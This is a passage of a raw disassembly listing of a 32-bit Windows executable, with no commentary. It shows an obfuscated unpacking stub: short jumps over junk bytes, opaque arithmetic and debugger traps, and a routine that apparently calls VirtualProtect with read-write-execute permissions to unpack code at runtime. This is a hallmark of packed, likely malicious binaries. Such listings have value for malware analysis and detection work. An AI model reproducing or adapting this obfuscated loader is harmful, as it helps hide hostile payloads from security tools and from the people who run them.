loc_46D321:				; CODE XREF: DMN1:0046D300j
		jmp	short loc_46D324
; ---------------------------------------------------------------------------
		db 11h
; ---------------------------------------------------------------------------


loc_46D324:				; CODE XREF: DMN1:0046D2DDj
					; DMN1:loc_46D321j
		stc
		bswap	edx
		xchg	ecx, edi
		jmp	short loc_46D33E
; ---------------------------------------------------------------------------
		db 95h
		dd 0AA2062DDh, 44293300h, 1CEFD71Ch, 0A81DA074h
		db 5, 0F7h
; ---------------------------------------------------------------------------


loc_46D33E:				; CODE XREF: DMN1:0046D329j
		jmp	short loc_46D35A
; ---------------------------------------------------------------------------
		dd 0A0264CE8h, 0C14171BAh, 0F6C9C584h, 0F0D56101h, 0A41FC149h
		dd 2F4F362Dh
		db 0A6h, 75h
; ---------------------------------------------------------------------------


loc_46D35A:				; CODE XREF: DMN1:loc_46D33Ej
		jmp	short loc_46D369
; ---------------------------------------------------------------------------
		dd 0B65277D0h, 7954E644h, 0CFEFA9AEh
; ---------------------------------------------------------------------------
		clc


loc_46D369:				; CODE XREF: DMN1:loc_46D35Aj
		cld
		xor	esp, [esi]
		add	ebx, 6E368D69h
		jmp	short loc_46D387
; ---------------------------------------------------------------------------
		dd 0E1F1E7D4h, 53C84926h, 5A4B921Dh, 0CE87DF0Dh
; ---------------------------------------------------------------------------
		sal	esi, 76h


loc_46D387:				; CODE XREF: DMN1:0046D372j
		jmp	short loc_46D398
; ---------------------------------------------------------------------------
		db 92h,	47h, 0C5h
		dd 0EA12CDCDh, 4FDB7158h, 67E3AEF6h
; ---------------------------------------------------------------------------


loc_46D398:				; CODE XREF: DMN1:loc_46D387j
		jmp	short loc_46D3B5
; ---------------------------------------------------------------------------
		align 4
		dd 4EB43CE4h, 6BAC5C2Ch, 0CDF4ED92h, 0E3BEF6F9h, 780D6B19h
		dd 211B67C9h
		db 19h
; ---------------------------------------------------------------------------


loc_46D3B5:				; CODE XREF: DMN1:loc_46D398j
		xchg	esp, [esi]
		jmp	short loc_46D3D8
; ---------------------------------------------------------------------------
		db 26h,	0ACh, 89h
		dd 0C70E19D0h, 0E6FE12B2h, 0DA2D6652h, 0E7199A43h, 0E7E8AE79h
		dd 0FCD17481h, 0DE8B78FCh
; ---------------------------------------------------------------------------


loc_46D3D8:				; CODE XREF: DMN1:0046D3B7j
		sub	esp, 67CAA51Bh
		xchg	esp, ecx
		jmp	short loc_46D3EA
; ---------------------------------------------------------------------------
		dw 75ADh
		dd 84786179h
		db 0AAh, 8
; ---------------------------------------------------------------------------


loc_46D3EA:				; CODE XREF: DMN1:0046D3E0j
		jmp	short loc_46D3ED
; ---------------------------------------------------------------------------
		db 0ECh
; ---------------------------------------------------------------------------


loc_46D3ED:				; CODE XREF: DMN1:loc_46D3EAj
		rol	ecx, 1
		jmp	short loc_46D3FD
; ---------------------------------------------------------------------------
		db 80h,	0EFh, 82h
		dd 0DFF05780h, 0BD9E8F13h
		db 0Ah
; ---------------------------------------------------------------------------


loc_46D3FD:				; CODE XREF: DMN1:0046D3EFj
		neg	edi
		jmp	short loc_46D410
; ---------------------------------------------------------------------------
		pop	ebp
		push	ebx
		retf	0FD49h
; ---------------------------------------------------------------------------
		dw 0FA2Fh
		dd 0D21FD68h, 2B16A2BBh
; ---------------------------------------------------------------------------


loc_46D410:				; CODE XREF: DMN1:0046D3FFj
		jmp	short loc_46D424
; ---------------------------------------------------------------------------
		dw 4182h
		dd 0D71E5A73h, 13B11E47h, 0C0E60F74h, 129C21C7h
; ---------------------------------------------------------------------------


loc_46D424:				; CODE XREF: DMN1:loc_46D410j
		jmp	short loc_46D42C
; ---------------------------------------------------------------------------
		dw 6C47h
		dd 0FF23D352h
; ---------------------------------------------------------------------------


loc_46D42C:				; CODE XREF: DMN1:loc_46D424j
		jmp	short loc_46D431
; ---------------------------------------------------------------------------
		das
		xchg	ah, [edx]


loc_46D431:				; CODE XREF: DMN1:loc_46D42Cj
		jmp	short loc_46D44E
; ---------------------------------------------------------------------------
		db 96h
		dd 0E1632A5Fh, 96AC6C48h, 26F17E5Eh, 37040870h,	0C370CECDh
		dd 8688CF1h
; ---------------------------------------------------------------------------
		push	0FFFFFF84h


loc_46D44E:				; CODE XREF: DMN1:loc_46D431j
		jmp	short loc_46D45C
; ---------------------------------------------------------------------------
		dd 7DB76EC8h, 6F0396B7h, 685AA2CFh
; ---------------------------------------------------------------------------


loc_46D45C:				; CODE XREF: DMN1:loc_46D44Ej
		xchg	ecx, [esi]
		std
		jmp	short loc_46D465
; ---------------------------------------------------------------------------
		db 76h,	38h, 0AEh
		db 0A2h
; ---------------------------------------------------------------------------


loc_46D465:				; CODE XREF: DMN1:0046D45Fj
		jmp	short loc_46D46E
; ---------------------------------------------------------------------------
		db 0B2h
		dd 504A1B05h
		db 0Fh,	0Ah
; ---------------------------------------------------------------------------


loc_46D46E:				; CODE XREF: DMN1:loc_46D465j
		jmp	short loc_46D477
; ---------------------------------------------------------------------------
		dd 4AA9093Eh
		db 31h,	0A9h, 0DEh
; ---------------------------------------------------------------------------


loc_46D477:				; CODE XREF: DMN1:loc_46D46Ej
		xor	edx, 962F9520h
		jmp	short loc_46D492
; ---------------------------------------------------------------------------
		db 0DCh
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 6Dh,	0C6h, 3Bh
; ---------------------------------------------------------------------------
		add	al, 98h
		fldenv	byte ptr [edi-3539FDDDh]
		cmp	al, [eax]
		sub	esi, eax
		int	3		; Trap to Debugger
		dec	eax


loc_46D492:				; CODE XREF: DMN1:0046D47Dj
		mov	edi, eax
		xor	ebx, 680D5DF5h
		neg	edx
		jmp	short loc_46D4A2
; ---------------------------------------------------------------------------
		dw 7D51h
		db 7Ah,	36h
; ---------------------------------------------------------------------------


loc_46D4A2:				; CODE XREF: DMN1:0046D49Cj
		add	edi, ebp
		jmp	short loc_46D4C5
; ---------------------------------------------------------------------------
		dw 4334h
		dd 5FA2DF74h, 11D36E64h, 0C2B97D3Bh, 7854CBA2h,	28490C1h
		dd 8F09A02Dh, 0EC50F5E9h
		db 0D5h
; ---------------------------------------------------------------------------


loc_46D4C5:				; CODE XREF: DMN1:0046D4A4j
		jmp	short loc_46D4D8
; ---------------------------------------------------------------------------
		db 4Ch
		dd 73AA789Bh, 0F2A2F8D1h, 0CB26E506h, 22A2135h
; ---------------------------------------------------------------------------


loc_46D4D8:				; CODE XREF: DMN1:loc_46D4C5j
		jmp	short loc_46D4DB
; ---------------------------------------------------------------------------
		db 3Ah
; ---------------------------------------------------------------------------


loc_46D4DB:				; CODE XREF: DMN1:loc_46D4D8j
		cmc
		mov	[edi], ecx
		xchg	edx, ecx
		xchg	ecx, ebx
		jmp	short loc_46D500
; ---------------------------------------------------------------------------
		dd 0CB4793DCh, 0AFE509B4h, 0AC1F0A71h, 76AEA7Bh, 0F39C5839h
		dd 5DE53077h, 0FEF52A36h
; ---------------------------------------------------------------------------


loc_46D500:				; CODE XREF: DMN1:0046D4E2j
		jmp	short loc_46D509
; ---------------------------------------------------------------------------
		dw 5853h
		dd 4594A18Ah
		db 0F6h
; ---------------------------------------------------------------------------


loc_46D509:				; CODE XREF: DMN1:loc_46D500j
		jmp	short loc_46D511
; ---------------------------------------------------------------------------
		aaa
		cmp	ecx, [edi+esi*2]
		aas
		push	eax


loc_46D511:				; CODE XREF: DMN1:loc_46D509j
		jmp	short loc_46D516
; ---------------------------------------------------------------------------
		db 1Dh
; ---------------------------------------------------------------------------
		adc	eax, esi


loc_46D516:				; CODE XREF: DMN1:loc_46D511j
		jmp	short loc_46D536
; ---------------------------------------------------------------------------
		dd 0BFAFE88Dh, 31ED6CDBh, 0BA096D7Ch, 2C770C76h, 5062BFA4h
		dd 901436F6h, 2F531A93h
		db 4Bh,	7Ch
; ---------------------------------------------------------------------------


loc_46D536:				; CODE XREF: DMN1:loc_46D516j
		jmp	short loc_46D551
; ---------------------------------------------------------------------------
		dd 0F8906E76h, 1BEAD5EAh, 0A1271F23h, 0D2E6B846h, 6DFCA670h
		dd 74393F66h
		db 8Ah
; ---------------------------------------------------------------------------


loc_46D551:				; CODE XREF: DMN1:loc_46D536j
		jmp	short loc_46D556
; ---------------------------------------------------------------------------
		db 66h
		db 62h,	0DCh
; ---------------------------------------------------------------------------


loc_46D556:				; CODE XREF: DMN1:loc_46D551j
		jmp	short loc_46D569
; ---------------------------------------------------------------------------
		dd 0B59A1A2Ah, 0A691CF4Bh, 0E8610D0Ah, 717D2B2Ch
; ---------------------------------------------------------------------------
		inc	esi


loc_46D569:				; CODE XREF: DMN1:loc_46D556j
		xchg	edi, edx
		xor	edx, 0CD728F8Ch
		jmp	short loc_46D57F
; ---------------------------------------------------------------------------
		db 84h
		dd 36E4082Ch, 79C1015Eh
		db 0EEh, 0B8h, 45h
; ---------------------------------------------------------------------------


loc_46D57F:				; CODE XREF: DMN1:0046D571j
		jmp	short loc_46D59A
; ---------------------------------------------------------------------------
		db 41h,	0C1h, 61h
		dd 0AABF2312h, 264C26C5h, 0FF230770h, 0F43DEFFAh, 96B3EC00h
		db 3Ah,	40h
; ---------------------------------------------------------------------------


loc_46D59A:				; CODE XREF: DMN1:loc_46D57Fj
		jmp	short loc_46D5B0
; ---------------------------------------------------------------------------
		dd 7230BAC5h, 0C484E7FCh, 0D1C69C9Ch, 0DB6C8610h, 0A225FBD6h
; ---------------------------------------------------------------------------


loc_46D5B0:				; CODE XREF: DMN1:loc_46D59Aj
		add	eax, 4
		clc
		stc
		jmp	short loc_46D5D3
; ---------------------------------------------------------------------------
		db 82h
		dd 115BDEDAh, 0B0111908h, 0FB042EFFh, 8196E0B2h, 0BECCB891h
		dd 67B65428h
		db 6Fh,	26h, 8Eh
; ---------------------------------------------------------------------------


loc_46D5D3:				; CODE XREF: DMN1:0046D5B5j
		xchg	edx, esp
		jmp	short loc_46D5F5
; ---------------------------------------------------------------------------
		db 0AEh
		dd 6373069Bh, 8B2C5FC4h, 912017DAh, 1E7DFF24h, 0A002DC9Ah
		dd 8973448h, 16AFC3E4h
; ---------------------------------------------------------------------------
		xlat


loc_46D5F5:				; CODE XREF: DMN1:0046D5D5j
		jmp	short loc_46D606
; ---------------------------------------------------------------------------
		db 0DEh
		dd 88BACC33h, 573E429Ah, 0FFD9BBF2h
		db 47h,	0F7h
; ---------------------------------------------------------------------------


loc_46D606:				; CODE XREF: DMN1:loc_46D5F5j
		std
		dec	edx
		jz	short loc_46D66B
		jmp	short loc_46D61C
; ---------------------------------------------------------------------------
		dd 9E01196h, 0B5FDF27h,	0BB72830h, 2143537Ah
; ---------------------------------------------------------------------------


loc_46D61C:				; CODE XREF: DMN1:0046D60Aj
		or	ebx, 6CCCA82h
		xchg	eax, ebp
		cmc
		xchg	edi, edx
		jmp	short loc_46D63E
; ---------------------------------------------------------------------------
		db 89h,	71h, 93h
		dd 0C9A022F5h, 9C82AD51h, 1E270F2Eh, 9B089C0Eh
		db 22h,	7Ch
; ---------------------------------------------------------------------------


loc_46D63E:				; CODE XREF: DMN1:0046D627j
		jmp	short loc_46D65E
; ---------------------------------------------------------------------------
		dd 0C505E41Bh, 83FDED93h, 8BCBFECDh, 0CA240367h, 6D692F1Eh
		dd 1E941401h, 170C8439h
		db 0BDh, 1
; ---------------------------------------------------------------------------


loc_46D65E:				; CODE XREF: DMN1:loc_46D63Ej
		xchg	esi, eax
		jmp	short loc_46D664
; ---------------------------------------------------------------------------
		dw 5530h
; ---------------------------------------------------------------------------


loc_46D664:				; CODE XREF: DMN1:0046D660j
		xchg	esp, eax
		jmp	loc_46D0CD
; ---------------------------------------------------------------------------


loc_46D66B:				; CODE XREF: DMN1:0046D608j
		xchg	esp, esi
		cmc
		jmp	short loc_46D687
; ---------------------------------------------------------------------------
		dd 2937C557h, 0B7E81D56h, 539EF17Ch, 0BD97F328h, 7D1B4A81h
		db 1Eh,	0ACh, 0D0h
; ---------------------------------------------------------------------------


loc_46D687:				; CODE XREF: DMN1:0046D66Ej
		pop	edi
		jmp	short loc_46D68B
; ---------------------------------------------------------------------------
		db 0Dh
; ---------------------------------------------------------------------------


loc_46D68B:				; CODE XREF: DMN1:0046D688j
		jmp	short loc_46D690
; ---------------------------------------------------------------------------
		push	cs
		and	al, 8Fh


loc_46D690:				; CODE XREF: DMN1:loc_46D68Bj
		jmp	short loc_46D6A9
; ---------------------------------------------------------------------------
		dw 5E67h
		dd 2D5339FEh, 9345C1EEh, 0CA95FE44h, 65F50E6h, 8E428625h
		db 6Ch
; ---------------------------------------------------------------------------


loc_46D6A9:				; CODE XREF: DMN1:loc_46D690j
		std
		jmp	short loc_46D6BE
; ---------------------------------------------------------------------------
		dd 0E3AE576Eh, 52604D71h, 0A6489B6Bh, 88587A6Bh
		db 80h,	7Ah
; ---------------------------------------------------------------------------


loc_46D6BE:				; CODE XREF: DMN1:0046D6AAj
		clc
		jmp	short loc_46D6DE
; ---------------------------------------------------------------------------
		db 38h,	0DBh, 29h
		dd 0C1BD9146h, 62ED6AC5h, 0DC934BCEh, 11B8CD88h, 7AF1F6D6h
		dd 0D4E4838Fh
		db 48h,	0EFh
; ---------------------------------------------------------------------------


loc_46D6DE:				; CODE XREF: DMN1:0046D6BFj
		jmp	short loc_46D6FA
; ---------------------------------------------------------------------------
		and	eax, 0F26CD876h
		int	3		; Trap to Debugger
		xchg	bl, ah
		pop	ds
		sbb	[ecx-75h], bh
		mov	dh, 23h
		push	ebx
		sbb	bl, ah
		mov	eax, 4EDC12EFh
		db	66h
		retf
; ---------------------------------------------------------------------------
		adc	eax, [ebx]


loc_46D6FA:				; CODE XREF: DMN1:loc_46D6DEj
		jmp	short loc_46D717
; ---------------------------------------------------------------------------
		dd 39A9B3FEh, 0A20AEB2Dh, 0C6B3F15Ch, 5DDFFE6Dh, 48CF71C3h
		dd 86AFC8FAh
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		wait
		xchg	eax, esp


loc_46D717:				; CODE XREF: DMN1:loc_46D6FAj
		bswap	ebx
		jmp	loc_46CA9F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_46D71E	proc near		; CODE XREF: DMN1:0046D788p

var_24		= dword	ptr -24h
var_18		= byte ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	edx, 5A17131Dh
		xor	edx, 459D42ACh
		mov	eax, 400000h
		add	edx, eax
		add	esp, 10h
		mov	ebp, [esp-10h+arg_4]
		push	edx
		pusha
		push	0
		lea	edx, [esp+18h+var_18]
		push	edx
		push	40h
		push	2C71Eh
		add	[esp+24h+var_24], 1000h
		push	eax
		add	eax, 1000h
		add	eax, 6D023h
		call	dword ptr [eax]
		add	esp, 4
		popa
		retn
sub_46D71E	endp

		assume es:nothing

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		mov	eax, offset sub_407AA0
		jmp	eax
start		endp

; ---------------------------------------------------------------------------
		align 2
		mov	edx, 4635042Ch
		mov	eax, 186A5B1Ch


loc_46D778:				; CODE XREF: DMN1:0046D785j
		add	eax, 117F7317h
		xor	edx, eax
		add	dx, ax
		rol	edx, 7
		loop	loc_46D778
		push	eax
		call	sub_46D71E
		leave
		retn
DMN1		ends

; Section 3. (virtual address 0006E000)
; Virtual size			: 00000078 (	120.)
; Section size in file		: 00000078 (	120.)
; Offset to raw	data for section: 0006E000
; Flags	C0000060: Text Data Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
DMN2		segment	para public 'DATA' use32
		assume cs:DMN2
		;org 46E000h
		dd 78450001h, 72507469h, 7365636Fh, 10073h, 74726956h
		dd 506C6175h, 65746F72h, 0B5007463h, 9A77E75Ch,	77E616h
		dd 6B000000h, 656E7265h, 2E32336Ch, 6C6C64h, 2 dup(0)
		dd 0FFFFFFFFh, 6E02Bh, 6E01Fh, 5 dup(0)
		dd 6D000h, 10h,	3731h, 3 dup(0)
DMN2		ends

; Section 4. (virtual address 0006F000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0006E200
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 46F000h
		align 2000h
_idata2		ends


		end start